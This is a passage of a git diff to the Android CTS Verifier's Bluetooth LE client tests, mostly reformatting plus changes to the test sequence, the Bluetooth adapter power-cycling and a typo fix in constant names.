-                mTestAdapter.setTestPass(BLE_READ_RSSI);
-                mPassed |= PASS_FLAG_READ_RSSI;
-                // execute disconnection test
-                newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
-                break;
-            case BleClientService.BLE_ON_SERVICE_CHANGED:
-                actionName = getString(R.string.ble_on_service_changed);
-                mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
-                mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
-                newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
-                break;
-            case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
-                mTestAdapter.setTestPass(BLE_CLIENT_DISCONNECT);
-                mPassed |= PASS_FLAG_DISCONNECT;
-                // all test done
-                newAction = null;
-                break;
-            case BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
-                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
-                break;
-            case BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
-                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
-                break;
+                    // execute RSSI requesting test
+                    // newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
+                    mPassed |= PASS_FLAG_READ_RSSI;
+                    Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
+                    break;
+                case BleClientService.BLE_READ_REMOTE_RSSI:
+                    actionName = getString(R.string.ble_read_rssi_name);
+                    mTestAdapter.setTestPass(BLE_READ_RSSI);
+                    mPassed |= PASS_FLAG_READ_RSSI;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
+                    break;
+                case BleClientService.BLE_PHY_READ:
+                case BleClientService.BLE_PHY_READ_SKIPPED:
+                    actionName = getString(R.string.ble_read_phy_name);
+                    mTestAdapter.setTestPass(BLE_READ_PHY);
+                    mPassed |= PASS_FLAG_READ_PHY;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
+                    break;
+                case BleClientService.BLE_ON_SERVICE_CHANGED:
+                    actionName = getString(R.string.ble_on_service_changed);
+                    mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
+                    mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+                    break;
+                case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
+                    mTestAdapter.setTestPass(BLE_CLIENT_DISCONNECT);
+                    mPassed |= PASS_FLAG_DISCONNECT;
+                    // all test done
+                    newAction = null;
+                    break;
+                case BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
+                    showErrorDialog(R.string.ble_bluetooth_mismatch_title,
+                            R.string.ble_bluetooth_mismatch_secure_message, true);
+                    break;
+                case BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+                    showErrorDialog(R.string.ble_bluetooth_mismatch_title,
+                            R.string.ble_bluetooth_mismatch_insecure_message, true);
+                    break;
             }
 
             if (previousPassed != mPassed) {
-                String logMessage = String.format("Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
-                                                  previousPassed, mPassed, mPassed ^ previousPassed);
+                String logMessage = String.format(
+                        "Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
+                        previousPassed, mPassed, mPassed ^ previousPassed);
                 Log.d(TAG, logMessage);
             }
 
@@ -427,17 +447,14 @@
 
             if (mPassed == PASS_FLAG_ALL) {
                 Log.d(TAG, "All Tests Passed.");
-                if (shouldRebootBluetoothAfterTest()) {
-                    mBtPowerSwitcher.executeSwitching();
-                } else {
-                    getPassButton().setEnabled(true);
-                }
+                getPassButton().setEnabled(true);
             }
         }
     };
 
     private static final long BT_ON_DELAY = 10000;
     private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();
+
     private class BluetoothPowerSwitcher extends BroadcastReceiver {
 
         private boolean mIsSwitching = false;
@@ -445,7 +462,8 @@
 
         public void executeSwitching() {
             if (mAdapter == null) {
-                BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+                BluetoothManager btMgr = (BluetoothManager) getSystemService(
+                        Context.BLUETOOTH_SERVICE);
                 mAdapter = btMgr.getAdapter();
             }
 
@@ -468,12 +486,8 @@
             if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {
                 int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
                 if (state == BluetoothAdapter.STATE_OFF) {
-                    mHandler.postDelayed(new Runnable() {
-                        @Override
-                        public void run() {
-                            mAdapter.enable();
-                        }
-                    }, BT_ON_DELAY);
+                    mHandler.postDelayed(() ->
+                            invokeWithShellPermissions(() -> mAdapter.enable()), BT_ON_DELAY);
                 } else if (state == BluetoothAdapter.STATE_ON) {
                     mIsSwitching = false;
                     unregisterReceiver(this);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java
index 9d4c7a9..f2eb30d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java
@@ -709,11 +709,15 @@
                         if (mBluetoothGatt == null) {
                             if (DEBUG) {
                                 Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt. device="
-                                             + device + ", mSecure=" + mSecure);
+                                             + device + ", mSecure=" + mSecure
+                                             + ", mDevice=" + mDevice);
                             }
-                            mDevice = device;
-                            mBluetoothGatt = connectGatt(device, BleCocClientService.this, false, mSecure,
-                                                         mGattCallbacks);
+                            if (mDevice == null) {
+                                mDevice = device;
+                            }
+
+                            mBluetoothGatt = connectGatt(mDevice, BleCocClientService.this, false,
+                                                         mSecure, mGattCallbacks);
                         }
                         break;
                     case BluetoothDevice.BOND_NONE:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
index 9119aae..4f4e2da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
@@ -19,8 +19,6 @@
 import android.app.AlertDialog;

 import android.app.Dialog;

 import android.app.ProgressDialog;

-import android.bluetooth.BluetoothAdapter;

-import android.bluetooth.BluetoothManager;

 import android.content.BroadcastReceiver;

 import android.content.Context;

 import android.content.DialogInterface;

@@ -28,6 +26,8 @@
 import android.content.IntentFilter;

 import android.os.Bundle;

 import android.os.Handler;

+import android.os.Looper;

+import android.os.Message;

 import android.widget.ListView;

 import android.widget.Toast;

 

@@ -39,11 +39,14 @@
 

 public class BleConnectionPriorityClientBaseActivity extends PassFailButtons.Activity {

 

+    public static final int DISABLE_ADAPTER = 0;

+

     private TestAdapter mTestAdapter;

     private boolean mPassed = false;

     private Dialog mDialog;

 

     private static final int BLE_CONNECTION_UPDATE = 0;

+    public static final String TAG = BleConnectionPriorityClientBaseActivity.class.getSimpleName();

 

     private static final int ALL_PASSED = 0x1;

 

@@ -57,8 +60,10 @@
         super.onCreate(savedInstanceState);

         setContentView(R.layout.ble_connection_priority_client_test);

         setPassFailButtonClickListeners();

-        setInfoResources(R.string.ble_connection_priority_client_name,

-                R.string.ble_connection_priority_client_info, -1);

+        setInfoResources(

+                R.string.ble_connection_priority_client_name,

+                R.string.ble_connection_priority_client_info,

+                -1);

         getPassButton().setEnabled(false);

 

         mHandler = new Handler();

@@ -117,16 +122,16 @@
     }

 

     private void showErrorDialog(int titleId, int messageId, boolean finish) {

-        AlertDialog.Builder builder = new AlertDialog.Builder(this)

-                .setTitle(titleId)

-                .setMessage(messageId);

+        AlertDialog.Builder builder =

+                new AlertDialog.Builder(this).setTitle(titleId).setMessage(messageId);

         if (finish) {

-            builder.setOnCancelListener(new Dialog.OnCancelListener() {

-                @Override

-                public void onCancel(DialogInterface dialog) {

-                    finish();

-                }

-            });

+            builder.setOnCancelListener(

+                    new Dialog.OnCancelListener() {

+                        @Override

+                        public void onCancel(DialogInterface dialog) {

+                            finish();

+                        }

+                    });

         }

         builder.create().show();

     }

@@ -138,25 +143,31 @@
     }

 

     private void executeNextTest(long delay) {

-        mHandler.postDelayed(new Runnable() {

-            @Override

-            public void run() {

-                executeNextTestImpl();

-            }

-        }, delay);

+        mHandler.postDelayed(

+                new Runnable() {

+                    @Override

+                    public void run() {

+                        executeNextTestImpl();

+                    }

+                },

+                delay);

     }

+

     private void executeNextTestImpl() {

         switch (mCurrentTest) {

-            case -1: {

+            case -1:

+            {

                 mCurrentTest = BLE_CONNECTION_UPDATE;

                 Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

-                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_START);

+                intent.setAction(

+                        BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_START);

                 startService(intent);

                 String msg = getString(R.string.ble_client_connection_priority);

                 Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();

-            }

                 break;

-            case BLE_CONNECTION_UPDATE: {

+            }

+            case BLE_CONNECTION_UPDATE:

+            {

                 // all test done

                 closeDialog();

                 if (mPassed == true) {

@@ -177,95 +188,96 @@
         return false;

     }

 

-    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

-        @Override

-        public void onReceive(Context context, Intent intent) {

-            String action = intent.getAction();

-            switch (action) {

-            case BleConnectionPriorityClientService.ACTION_BLUETOOTH_DISABLED:

-                new AlertDialog.Builder(context)

-                        .setTitle(R.string.ble_bluetooth_disable_title)

-                        .setMessage(R.string.ble_bluetooth_disable_message)

-                        .setOnCancelListener(new Dialog.OnCancelListener() {

-                            @Override

-                            public void onCancel(DialogInterface dialog) {

-                                finish();

+    private BroadcastReceiver mBroadcast =

+            new BroadcastReceiver() {

+                @Override

+                public void onReceive(Context context, Intent intent) {

+                    String action = intent.getAction();

+                    switch (action) {

+                        case BleConnectionPriorityClientService.ACTION_BLUETOOTH_DISABLED:

+                            new AlertDialog.Builder(context)

+                                    .setTitle(R.string.ble_bluetooth_disable_title)

+                                    .setMessage(R.string.ble_bluetooth_disable_message)

+                                    .setOnCancelListener(

+                                            new Dialog.OnCancelListener() {

+                                                @Override

+                                                public void onCancel(DialogInterface dialog) {

+                                                    finish();

+                                                }

+                                            })

+                                    .create()

+                                    .show();

+                            break;

+                        case BleConnectionPriorityClientService

+                                .ACTION_CONNECTION_SERVICES_DISCOVERED:

+                            showProgressDialog();

+                            executeNextTest(3000);

+                            break;

+                        case BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH:

+                            mTestAdapter.setTestPass(BLE_CONNECTION_UPDATE);

+                            mPassed = true;

+                            executeNextTest(1000);

+                            break;

+                        case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE:

+                            showErrorDialog(

+                                    R.string.ble_bluetooth_mismatch_title,

+                                    R.string.ble_bluetooth_mismatch_secure_message,

+                                    true);

+                            break;

+                        case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_INSECURE:

+                            showErrorDialog(

+                                    R.string.ble_bluetooth_mismatch_title,

+                                    R.string.ble_bluetooth_mismatch_insecure_message,

+                                    true);

+                            break;

+                        case BleConnectionPriorityClientService.ACTION_FINISH_DISCONNECT:

+                            if (shouldRebootBluetoothAfterTest()) {

+                                mBtPowerSwitcher.executeSwitching();

+                            } else {

+                                getPassButton().setEnabled(true);

                             }

-                        })

-                        .create().show();

-                break;

-            case BleConnectionPriorityClientService.ACTION_CONNECTION_SERVICES_DISCOVERED:

-                showProgressDialog();

-                executeNextTest(3000);

-                break;

-            case BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH:

-                mTestAdapter.setTestPass(BLE_CONNECTION_UPDATE);

-                mPassed = true;

-                executeNextTest(1000);

-                break;

-            case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE:

-                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);

-                break;

-            case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_INSECURE:

-                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);

-                break;

-            case BleConnectionPriorityClientService.ACTION_FINISH_DISCONNECT:

-                if (shouldRebootBluetoothAfterTest()) {

-                    mBtPowerSwitcher.executeSwitching();

-                } else {

-                    getPassButton().setEnabled(true);

+                            break;

+                    }

+                    mTestAdapter.notifyDataSetChanged();

                 }

-                break;

-            }

-            mTestAdapter.notifyDataSetChanged();

-        }

-    };

+            };

 

-    private static final long BT_ON_DELAY = 10000;

     private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();

+

     private class BluetoothPowerSwitcher extends BroadcastReceiver {

 

         private boolean mIsSwitching = false;

-        private BluetoothAdapter mAdapter;

 

-        public void executeSwitching() {

-            if (mAdapter == null) {

-                BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

-                mAdapter = btMgr.getAdapter();

+        private class BluetoothHandler extends Handler {

+            BluetoothHandler(Looper looper) {

+                super(looper);

             }

 

+            @Override

+            public void handleMessage(Message msg) {

+                switch (msg.what) {

+                    case BleConnectionPriorityClientBaseActivity.DISABLE_ADAPTER:

+                        mIsSwitching = false;

+                        getPassButton().setEnabled(true);

+                        closeDialog();

+                        break;

+                }

+            }

+        }

+

+        public void executeSwitching() {

+            mHandler = new BluetoothHandler(Looper.getMainLooper());

             if (!mIsSwitching) {

-                IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);

-                registerReceiver(this, filter);

                 mIsSwitching = true;

-                mHandler.postDelayed(new Runnable() {

-                    @Override

-                    public void run() {

-                        mAdapter.disable();

-                    }

-                }, 1000);

+                Message msg =

+                        mHandler.obtainMessage(

+                                BleConnectionPriorityClientBaseActivity.DISABLE_ADAPTER);

+                mHandler.sendMessageDelayed(msg, 5000);

                 showProgressDialog();

             }

         }

 

         @Override

-        public void onReceive(Context context, Intent intent) {

-            if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {

-                int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);

-                if (state == BluetoothAdapter.STATE_OFF) {

-                    mHandler.postDelayed(new Runnable() {

-                        @Override

-                        public void run() {

-                            mAdapter.enable();

-                        }

-                    }, BT_ON_DELAY);

-                } else if (state == BluetoothAdapter.STATE_ON) {

-                    mIsSwitching = false;

-                    unregisterReceiver(this);

-                    getPassButton().setEnabled(true);

-                    closeDialog();

-                }

-            }

-        }

+        public void onReceive(Context context, Intent intent) {}

     }

 }

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
index 38cad0f..2483a04 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
@@ -16,6 +16,8 @@
 

 package com.android.cts.verifier.bluetooth;

 

+import static com.android.compatibility.common.util.ShellIdentityUtils.invokeWithShellPermissions;

+

 import android.app.AlertDialog;

 import android.app.Dialog;

 import android.app.ProgressDialog;

@@ -46,10 +48,10 @@
     private Dialog mDialog;

     private Handler mHandler;

 

-    private final int BLE_WRITE_ENCRIPTED_CHARACTERISTIC = 0;

-    private final int BLE_READ_ENCRIPTED_CHARACTERISTIC = 1;

-    private final int BLE_WRITE_ENCRIPTED_DESCRIPTOR = 2;

-    private final int BLE_READ_ENCRIPTED_DESCRIPTOR = 3;

+    private final int BLE_WRITE_ENCRYPTED_CHARACTERISTIC = 0;

+    private final int BLE_READ_ENCRYPTED_CHARACTERISTIC = 1;

+    private final int BLE_WRITE_ENCRYPTED_DESCRIPTOR = 2;

+    private final int BLE_READ_ENCRYPTED_DESCRIPTOR = 3;

 

     @Override

     protected void onCreate(Bundle savedInstanceState) {

@@ -68,23 +70,28 @@
         listView.setOnItemClickListener(new ListView.OnItemClickListener() {

             @Override

             public void onItemClick(AdapterView<?> adapterView, View view, int position, long id) {

-                Intent intent = new Intent(BleEncryptedClientBaseActivity.this, BleEncryptedClientService.class);

+                Intent intent = new Intent(BleEncryptedClientBaseActivity.this,

+                        BleEncryptedClientService.class);

                 Log.v(getLocalClassName(), "onItemClick()");

                 switch (position) {

-                case BLE_WRITE_ENCRIPTED_CHARACTERISTIC:

-                    intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_CHARACTERISTIC);

-                    break;

-                case BLE_READ_ENCRIPTED_CHARACTERISTIC:

-                    intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_CHARACTERISTIC);

-                    break;

-                case BLE_WRITE_ENCRIPTED_DESCRIPTOR:

-                    intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_DESCRIPTOR);

-                    break;

-                case BLE_READ_ENCRIPTED_DESCRIPTOR:

-                    intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_DESCRIPTOR);

-                    break;

-                default:

-                    return;

+                    case BLE_WRITE_ENCRYPTED_CHARACTERISTIC:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_CHARACTERISTIC);

+                        break;

+                    case BLE_READ_ENCRYPTED_CHARACTERISTIC:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_READ_ENCRYPTED_CHARACTERISTIC);

+                        break;

+                    case BLE_WRITE_ENCRYPTED_DESCRIPTOR:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_DESCRIPTOR);

+                        break;

+                    case BLE_READ_ENCRYPTED_DESCRIPTOR:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_READ_ENCRYPTED_DESCRIPTOR);

+                        break;

+                    default:

+                        return;

                 }

                 startService(intent);

                 showProgressDialog();

@@ -172,77 +179,83 @@
         return false;

     }

 

-    public boolean isSecure() { return false; }

+    public boolean isSecure() {

+        return false;

+    }

 

     private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

         @Override

         public void onReceive(Context context, Intent intent) {

             String action = intent.getAction();

             switch (action) {

-            case BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED:

-                showErrorDialog(getString(R.string.ble_bluetooth_disable_title), getString(R.string.ble_bluetooth_disable_message), true);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC:

-                mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_CHARACTERISTIC);

-                mAllPassed |= 0x01;

-                if (!isSecure()) {

+                case BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED:

+                    showErrorDialog(getString(R.string.ble_bluetooth_disable_title),

+                            getString(R.string.ble_bluetooth_disable_message), true);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC:

+                    mTestAdapter.setTestPass(BLE_WRITE_ENCRYPTED_CHARACTERISTIC);

+                    mAllPassed |= 0x01;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC:

-                mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_CHARACTERISTIC);

-                mAllPassed |= 0x02;

-                if (!isSecure()) {

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC:

+                    mTestAdapter.setTestPass(BLE_READ_ENCRYPTED_CHARACTERISTIC);

+                    mAllPassed |= 0x02;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR:

-                mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_DESCRIPTOR);

-                mAllPassed |= 0x04;

-                if (!isSecure()) {

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR:

+                    mTestAdapter.setTestPass(BLE_WRITE_ENCRYPTED_DESCRIPTOR);

+                    mAllPassed |= 0x04;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR:

-                mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_DESCRIPTOR);

-                mAllPassed |= 0x08;

-                if (!isSecure()) {

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR:

+                    mTestAdapter.setTestPass(BLE_READ_ENCRYPTED_DESCRIPTOR);

+                    mAllPassed |= 0x08;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);

-                break;

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_descriptor),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_descriptor),

+                            false);

+                    break;

 

-            case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_descriptor), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_descriptor), false);

-                break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(

+                                    R.string.ble_encrypted_client_fail_write_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(

+                                    R.string.ble_encrypted_client_fail_read_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(

+                            R.string.ble_encrypted_client_fail_write_encrypted_descriptor), false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_fail_read_encrypted_descriptor),

+                            false);

+                    break;

 

-            case BleEncryptedClientService.ACTION_DISCONNECTED:

-                if (shouldRebootBluetoothAfterTest()) {

-                    mBtPowerSwitcher.executeSwitching();

-                } else {

+                case BleEncryptedClientService.ACTION_DISCONNECTED:

                     closeDialog();

-                }

-                break;

+                    break;

             }

 

             mTestAdapter.notifyDataSetChanged();

@@ -254,6 +267,7 @@
 

     private static final long BT_ON_DELAY = 10000;

     private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();

+

     private class BluetoothPowerSwitcher extends BroadcastReceiver {

 

         private boolean mIsSwitching = false;

@@ -261,7 +275,8 @@
 

         public void executeSwitching() {

             if (mAdapter == null) {

-                BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

+                BluetoothManager btMgr = (BluetoothManager) getSystemService(

+                        Context.BLUETOOTH_SERVICE);

                 mAdapter = btMgr.getAdapter();

             }

 

@@ -283,12 +298,8 @@
             if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {

                 int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);

                 if (state == BluetoothAdapter.STATE_OFF) {

-                    mHandler.postDelayed(new Runnable() {

-                        @Override

-                        public void run() {

-                            mAdapter.enable();

-                        }

-                    }, BT_ON_DELAY);

+                    mHandler.postDelayed(() ->

+                            invokeWithShellPermissions(() -> mAdapter.enable()), BT_ON_DELAY);

                 } else if (state == BluetoothAdapter.STATE_ON) {

                     mIsSwitching = false;

                     unregisterReceiver(this);

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
index 90848a9..feba59c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
@@ -18,6 +18,7 @@
 

 import android.bluetooth.BluetoothAdapter;

 import android.content.pm.PackageManager;

+import android.os.Build;

 import android.os.Bundle;

 import android.os.SystemProperties;

 

@@ -47,7 +48,7 @@
         // RPA is optional on TVs already released before Android 11

         boolean isTv = getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);

         int firstSdk = SystemProperties.getInt("ro.product.first_api_level", 0);

-        if (isTv && (firstSdk <= 29)) {

+        if (isTv && (firstSdk <= Build.VERSION_CODES.Q)) {

             disabledTest.add(

                     "com.android.cts.verifier.bluetooth.BleSecureConnectionPriorityClientTestActivity");

             disabledTest.add(

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
index 8177ca2..4d5f4a6 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
@@ -41,11 +41,7 @@
 
 import com.android.cts.verifier.R;
 
-import java.util.ArrayList;
 import java.util.Arrays;
-import java.util.HashMap;
-import java.util.LinkedHashMap;
-import java.util.List;
 import java.util.Set;
 import java.util.Timer;
 import java.util.UUID;
@@ -88,7 +84,8 @@
     public static final String BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION";
     public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION =
-            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION";
     public static final String BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED";
     public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_NEED_ENCRYPTED =
@@ -132,7 +129,7 @@
             UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
     private static final UUID DESCRIPTOR_UUID =
             UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
-    public static final UUID ADV_SERVICE_UUID=
+    public static final UUID ADV_SERVICE_UUID =
             UUID.fromString("00003333-0000-1000-8000-00805f9b34fb");
 
     private static final UUID SERVICE_UUID_ADDITIONAL =
@@ -212,8 +209,8 @@
